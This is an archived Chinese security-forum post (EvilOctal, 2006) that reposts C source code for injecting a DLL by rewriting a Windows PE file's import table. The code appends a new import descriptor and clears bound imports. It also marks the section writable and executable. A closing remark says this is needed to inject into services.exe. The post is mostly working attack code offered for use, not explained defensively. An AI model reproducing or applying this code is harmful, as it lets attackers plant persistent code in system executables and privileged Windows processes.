邪恶八进制信息安全团队技术讨论组's Archiver

金州 2006-1-11 20:38

[转载]修改导入表实现DLL注入

信息来源:[url]http://www.whitecell.org/forums/viewthread.php?tid=70[/url]

Code: [Copy to clipboard]  
//
// Copy from Matt Pietrek
// Given an RVA, look up the section header that encloses it and return a
// pointer to its IMAGE_SECTION_HEADER
//
PIMAGE_SECTION_HEADER
__AddImportTable_GetEnclosingSectionHeader(
      DWORD rva,
      PIMAGE_NT_HEADERS pNTHeader
)
{
   PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION32(pNTHeader);
   unsigned i;
   
   for ( i=0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ )
   {
      // Is the RVA within this section?
      if ( (rva >= section->VirtualAddress) &&
         (rva < (section->VirtualAddress + section->Misc.VirtualSize)))
        return section;
   }
   
   return 0;
}


int
AddImportDll(
      IN HANDLE hFile,
      IN LPSTR  lpDllName,
      IN DWORD  dwBase,
      IN PIMAGE_NT_HEADERS pNTHeader
)
{
      //
      // 通过OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
      // 获得导入表的RVA, 利用此RVA找到ImportTable所在的Section,之后计算Offset,公式:
      //    Offset = (INT)(pSection->VirtualAddress - pSection->PointerToRawData)
      // 之后利用Offset来定位文件中ImportTable的位置.
      //
      PIMAGE_IMPORT_DESCRIPTOR  pImportDesc = 0;
   PIMAGE_SECTION_HEADER    pSection = 0;
   PIMAGE_THUNK_DATA      pThunk, pThunkIAT = 0;
      int Offset = -1;

      pSection = __AddImportTable_GetEnclosingSectionHeader(
           pNTHeader->OptionalHeader.DataDirectory
                [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
           pNTHeader);
      if(!pSection)
      {
           fprintf(stderr, "No Import Table..\n");
           return -1;
      }

      Offset = (int) (pSection->VirtualAddress - pSection->PointerToRawData);

      //
      // 计算ImportTable在文件中的位置
      //
      pImportDesc =
           (PIMAGE_IMPORT_DESCRIPTOR)(pNTHeader->OptionalHeader.DataDirectory
                           [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - Offset + dwBase);
      
      //
      // 取出导入的DLL的个数
      //
      int nImportDllCount = 0;
      while(1)
      {
           if ((pImportDesc->TimeDateStamp==0 ) && (pImportDesc->Name==0))
        break;
           pThunk   = (PIMAGE_THUNK_DATA)(pImportDesc->Characteristics);
           pThunkIAT = (PIMAGE_THUNK_DATA)(pImportDesc->FirstThunk);

           if(pThunk == 0 && pThunkIAT == 0)
                      return -1;
           
           nImportDllCount++;
           pImportDesc++;
      }

      //
      // 恢复pImportDesc的值,方便下面的复制当前导入表的操作.
      //
      pImportDesc -= nImportDllCount;

      //
      // 取得ImportTable所在Section的RawData在文件中的末尾地址,计算公式:
      //    dwOrigEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize
      //
      DWORD dwEndOfRawDataAddr = pSection->PointerToRawData + pSection->Misc.VirtualSize;

      PIMAGE_IMPORT_DESCRIPTOR pImportDescVector =
           (PIMAGE_IMPORT_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 20 * (nImportDllCount+1));
      if(pImportDescVector == NULL)
      {
           fprintf(stderr, "HeapAlloc() failed. --err: %d\n", GetLastError());
           return -1;
      }
      CopyMemory(pImportDescVector+1, pImportDesc, 20*nImportDllCount);
      

      //
      // 构造添加数据的结构,方法笨拙了点.
      //
      struct _Add_Data
      {
           char      szDllName[256];                // 导入DLL的名字
           int           nDllNameLen;                // 实际填充的名字的长度
           WORD      Hint;                           // 导入函数的Hint
           char   szFuncName[256];           // 导入函数的名字
           int    nFuncNameLen;                // 导入函数名字的实际长度
           int    nTotal;                           // 填充的总长度
      } Add_Data;

      strcpy(Add_Data.szDllName, lpDllName);
      strcpy(Add_Data.szFuncName, "Startup");

      //
      // +1表示&#39;\0&#39;字符
      //
      Add_Data.nDllNameLen  = strlen(Add_Data.szDllName) + 1;
      Add_Data.nFuncNameLen = strlen(Add_Data.szFuncName) + 1;
      Add_Data.Hint = 0;
      //
      // 计算总的填充字节数
      //
      Add_Data.nTotal = Add_Data.nDllNameLen + sizeof(WORD) + Add_Data.nFuncNameLen;

      //
      // 检查ImportTable所在的Section中的剩余空间是否能够容纳新的ImportTable.
      // 未对齐前RawData所占用的空间存放在pSection->VirtualSize中,用此值加上新的ImportTable长度与
      // 原长度进行比较.
      //
      // nTotalLen 为新添加内容的总长度
      // Add_Data.nTotal 为添加的DLL名称,Hint与导入函数的名字的总长度.
      // 8 为IMAGE_IMPORT_BY_NAME结构的长度.
      // 20*(nImportDllCount+1) 为新的ImportTable的长度.
      //
      int nTotalLen = Add_Data.nTotal + 8 + 20*(nImportDllCount+1);
//      printf("TotalLen: %d byte(s)\n", nTotalLen);
      if(pSection->Misc.VirtualSize + nTotalLen > pSection->SizeOfRawData)
      {
           fprintf(stderr, "[X] Not enough space!\n\n");
           return -1;
      }

      IMAGE_IMPORT_DESCRIPTOR Add_ImportDesc;
      //
      // ThunkData结构的地址
      //
      Add_ImportDesc.Characteristics = dwEndOfRawDataAddr + Add_Data.nTotal + Offset;
      Add_ImportDesc.TimeDateStamp = -1;
      Add_ImportDesc.ForwarderChain = -1;
      //
      // DLL名字的RVA
      //
      Add_ImportDesc.Name = dwEndOfRawDataAddr + Offset;
      Add_ImportDesc.FirstThunk = Add_ImportDesc.Characteristics;

      CopyMemory(pImportDescVector, &Add_ImportDesc, 20);

      //
      // 对文件进行修改
      //
      DWORD dwBytesWritten = 0;
      DWORD dwBuffer = dwEndOfRawDataAddr + Offset + Add_Data.nTotal + 8;
      long  lDistanceToMove = (long)&(pNTHeader->OptionalHeader.DataDirectory
           [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) - dwBase;
      int nRet =0;

      //
      // 修改IMAGE_DIRECTOR_ENTRY_IMPORT中VirtualAddress的地址,
      // 使其指向新的导入表的位置
      //
      SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);

//      printf("OrigEntryImport: %x\n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
      nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
      if(!nRet)
      {
           fprintf(stderr, "WriteFile(ENTRY_IMPORT) failed. --err: %d\n", GetLastError());
           return -1;
      }
//      printf("NewEntryImport: %x\n", pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
      //
      // 修改导入表长度
      //
      dwBuffer = pNTHeader->OptionalHeader.DataDirectory
           [IMAGE_DIRECTORY_ENTRY_IMPORT].Size + 40;
      nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
      if(!nRet)
      {
           fprintf(stderr, "WriteFile(Entry_import.size) failed. --err: %d\n", GetLastError());
           return -1;
      }

      //
      // 修改[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT]中VirtualAddress和Size成员,设置为0
      //
      lDistanceToMove = (long)&(pNTHeader->OptionalHeader.DataDirectory
           [IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress) - dwBase;
      dwBuffer = 0;
      SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
      WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
      WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);

      //
      // 修改ImportTable所在节的长度
      //
      lDistanceToMove = (long)&(pSection->Misc.VirtualSize) - dwBase;
      SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
      dwBuffer = pSection->Misc.VirtualSize + nTotalLen;
      nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
      if(!nRet)
      {
           fprintf(stderr, "WriteFile(Misc.VirtualSize) failed. --err: %d\n", GetLastError());
           return -1;
      }
      //
      // 修改SECTION的Characteristics属性修改为E0000020
      //
      lDistanceToMove = (long)&(pSection->Characteristics) - dwBase;
      dwBuffer = 0xE0000020;
      SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
      nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
      if(!nRet)
      {
           fprintf(stderr, "WriteFile(Characteristics) failed. --err: %d\n", GetLastError());
           return -1;
      }

      //
      // 从节的末尾添加新的DLL内容
      //
      lDistanceToMove = dwEndOfRawDataAddr;
      SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
      nRet = WriteFile(hFile, Add_Data.szDllName, Add_Data.nDllNameLen, &dwBytesWritten, NULL);
      nRet = WriteFile(hFile, (LPVOID)&(Add_Data.Hint), sizeof(WORD), &dwBytesWritten, NULL);
      nRet = WriteFile(hFile, Add_Data.szFuncName, Add_Data.nFuncNameLen, &dwBytesWritten, NULL);
      dwBuffer = dwEndOfRawDataAddr + Add_Data.nDllNameLen + Offset;
      nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
      dwBuffer = 0;
      nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
      nRet = WriteFile(hFile, (LPVOID)pImportDescVector, 20*(nImportDllCount+1), &dwBytesWritten, NULL);

      HeapFree(GetProcessHeap(), 0, pImportDescVector);
      printf("[V] Modify PE file Successfully!\n\n");
      return 0;
}



以前发过的代码,这份是全部的,必须要将SECTION的Characteristics修改为E0000020才能实现services.exe的注入,否则会提示错误。

页: [1]
© 1999-2008 EvilOctal Security Team